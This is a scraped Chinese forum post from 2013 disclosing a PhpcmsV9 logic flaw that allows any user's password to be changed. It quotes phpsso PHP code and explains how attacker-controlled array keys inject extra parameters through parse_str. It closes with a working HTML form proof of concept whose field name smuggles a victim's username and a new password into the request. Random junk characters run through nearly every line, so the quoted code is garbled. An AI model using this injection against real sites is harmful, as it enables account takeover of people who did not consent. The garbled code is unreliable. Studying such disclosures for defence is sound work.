找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1910|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:2 t( Y& i: K  y) M2 k! f
# B9 Z9 x" E) Q

5 Q1 W  M+ R7 P$ Aparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);8 s+ L, j4 J: B
/ ^9 w1 z4 W# q. b2 U3 e" P
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
$ n, h0 L5 c+ s" z' x9 S+ R9 ]- |7 F/ c
我把它留给了你们。
$ h  c* P4 d0 P' n* d+ x1 ^不知道你们发现了它没有。
/ B: }* o# U4 E' h# ^: o6 Y+ W1 U0 |8 R1 A
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。4 x+ m* i+ ]) q& W5 }/ v

. K7 u8 Q: I) \  B/ Z6 V% M所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
: ^& ~# \  n: e; w
! U# C! J5 g. V. n, B也就是
2 l( h6 v/ q$ c
6 k- V( |* Z3 `6 ~8 w, A9 [5 Fusername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。! }' F1 A' u8 d3 n' y
+ Z4 S8 Z9 E; F0 B$ b0 u3 N5 k
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。0 ]* v2 r% v! _* t8 |
& r0 R$ l" `0 z% v% l

) u2 J) d' @$ c& M其实我们有这样的机会,看看代码,如下:. x8 {% D4 A% a  |7 D/ ?

5 A/ R( @5 N4 P' M6 Y6 {! \" M# }5 \, D5 z2 A! V
public function auth_data($data) {
% q9 n, A# W# A/ O                $s = $sep = '';. Q: Y* U- R/ ~  b  }' ~
                foreach($data as $k => $v) {" n; C- q7 r# L& R5 G
                        if(is_array($v)) {. o1 ^0 }% V& c- J/ ?- u
                                $s2 = $sep2 = '';' o  x2 o6 z( \8 Z0 C( H
                                foreach($v as $k2 => $v2) {
5 _1 t3 F; z1 z, ~                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);( D0 C& n; ?% |  \0 l  e3 R2 y5 i
                                        $sep2 = '&';
& B# a, C) ~( ?* e  y+ ^                                }
7 G  Z" c1 C, x2 j6 K                                $s .= $sep.$s2;
) V& Y4 v* n" P  d                        } else {" |3 A: t3 @$ X1 F& b
                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
$ F' @, j7 k3 k8 U! ?/ b' {                        }1 o6 o# G0 \) o$ V9 L( a4 y" P
                        $sep = '&';
1 |7 s: P2 h4 v1 ?* v- d0 ^( u+ Y                }
$ w0 i5 i. s( Q  M; K4 h' N% l" J  G7 Q
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));. Y' Z; ^4 B4 H( @2 F  j% ]
                return $auth_s;
/ @7 }  s8 q7 G( [) y        }
" o( i. t) }! n  i! s
9 Z7 _% \0 Q3 U/ a, W8 O可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
; N, K' \' Q( D2 E1 `" [  D; b, e+ y) Q% u/ L/ t- K
举个例子/ f! y5 _. ~% g/ |: ?
; A% L9 J* i" I: `7 U& q
$a[aaa=a&bbb] = 'a';5 I! \% I1 T: Y& L0 J; N# ~2 p
8 ]1 N" B. A1 g, O5 x/ ?5 k
会变成aaa=a&bbb=a
  x7 @7 W( l) [% e' ~% @& i2 ^+ \0 ^" Y
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。* h3 F' a! k( y/ S  `3 |: Y) ]
# m* y9 C; f  f
这个时候,我们可以再去看一个函数。
6 U+ @% E- N  M3 b
0 U) Y1 m3 R6 v% D7 E9 J就在这个文件内:) I  J$ A3 Y7 O, [# k1 {: s6 B/ L

" p  {, B# f5 Z% l- {, L+ C
- d* P# V- i' Q1 opublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {' Q+ o- M$ ]) `6 J8 G2 H1 P8 Y
                if($email && !$this->_is_email($email)) {; ?! s! m3 W! B
                        return -4;
& J, @. O5 \5 j  x2 ~  U, u4 M; W                }
( }/ o& L' F8 m' S0 g" n) B7 q                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
/ `. V- m+ B) y% N" e        }) n& S/ C  G! p
. e& `0 M* E& G% s+ V6 E
这是向通行证发了这样一个请求。
  {* \7 j/ t) r
7 j4 r3 o4 @" A9 |我们再跟到通信证代码里去看看,就会有所发现。
2 R. U" L: y! D7 ?2 F+ `5 r7 Y) i& w5 A/ a6 j/ L

+ E% |/ T2 f! n* K8 A0 V) r( gpublic function edit() {9 J3 w2 K# F/ L1 B0 d) @  N& q
//能省就省,太长了不是吗?
1 o/ v) m6 U; b' Z& m
( d! D  ~+ R$ G# q$ Uif($this->username) {' ?' ?" J: g5 B: l
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。1 j. h% E9 @" r1 f& t* @3 H4 \0 C
                                $res = $this->db->update($data, array('username'=>$this->username));
  [! Z( T: |6 G! `. m                        } else {/ ?+ _+ Y( n: K) q+ U
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);% M/ [# h5 l6 `
                                $res = $this->db->update($data, array('uid'=>$this->uid));
) ]3 l! r7 y  a7 x6 E                        }( m& m1 l( V: r% }/ J5 C* Z

; t+ u- M" f: x$ M好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
6 A* p7 u% W) j$ R% W2 @) L9 m: ^- c7 Q; E
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
0 K6 L+ L$ N" D# }1 {/ C" l. H7 r( g* T
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。& R0 k$ K. K8 A- q
1 q7 @, K1 i/ ^
我当然找到了:
5 m6 x3 H4 n% E2 ]* X% yphpcms9/phpcms/modules/member/index.php
8 ?2 \5 P# w% w* L; p/ u6 i
" \& v% g' V1 B4 i, b$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
8 \$ h3 z" K/ x
, U( _. Y: l) O4 V& Z然后就没有然后了。0 d- s* k4 z' r' E% w7 ~8 _

6 w0 v& y9 `. y<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
4 Z  P8 `3 p% s; H7 M8 R+ U: I* s, o                                <table width="100%" cellspacing="0" class="table_form">/ i: V# a) D1 y, ?- X' s9 E
                                        <tr>" o8 o8 p9 \3 Q0 ^
                                                <th width="80">邮箱:</th>        
8 Q7 c0 p6 z1 O* r                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
- B: A+ C" M: j% J5 A. A                                        </tr># {) F! |, B$ E1 D- u- P
                                        <tr>0 I9 r, z! }3 v5 ]3 ]; c% s; N0 Q
                                                <th width="80">原密码:</th>        + _& I; y1 u8 K8 c$ l& s2 P
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
+ m# x; k2 L/ v. c! q                                        </tr>
; d. J  L9 y4 m0 s2 \                                        <tr>1 h* K* v8 X: N$ |1 L0 j9 T/ M
                                                <th>新密码:</th>
4 ~8 H9 z* @8 ~- t5 b& v                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>4 ?  |  d: H, C! t1 j
                                        </tr>$ a. H! \$ B1 O
                                        <th></th>1 F9 K5 c: ?& _9 ~
                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
' I+ q! k* [: v* @9 W. g3 q" j                                        </tr>; W4 |& o+ e! I# d  ~% i6 e3 @
                                </table>  M' L- `! w6 D5 Q, F8 G

7 V9 j: w3 T- A* D4 c! O* {7 Z                               
1 r1 y. u2 t, ]7 L. w6 }% a                        </form>- s: k8 D8 L% \* S
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表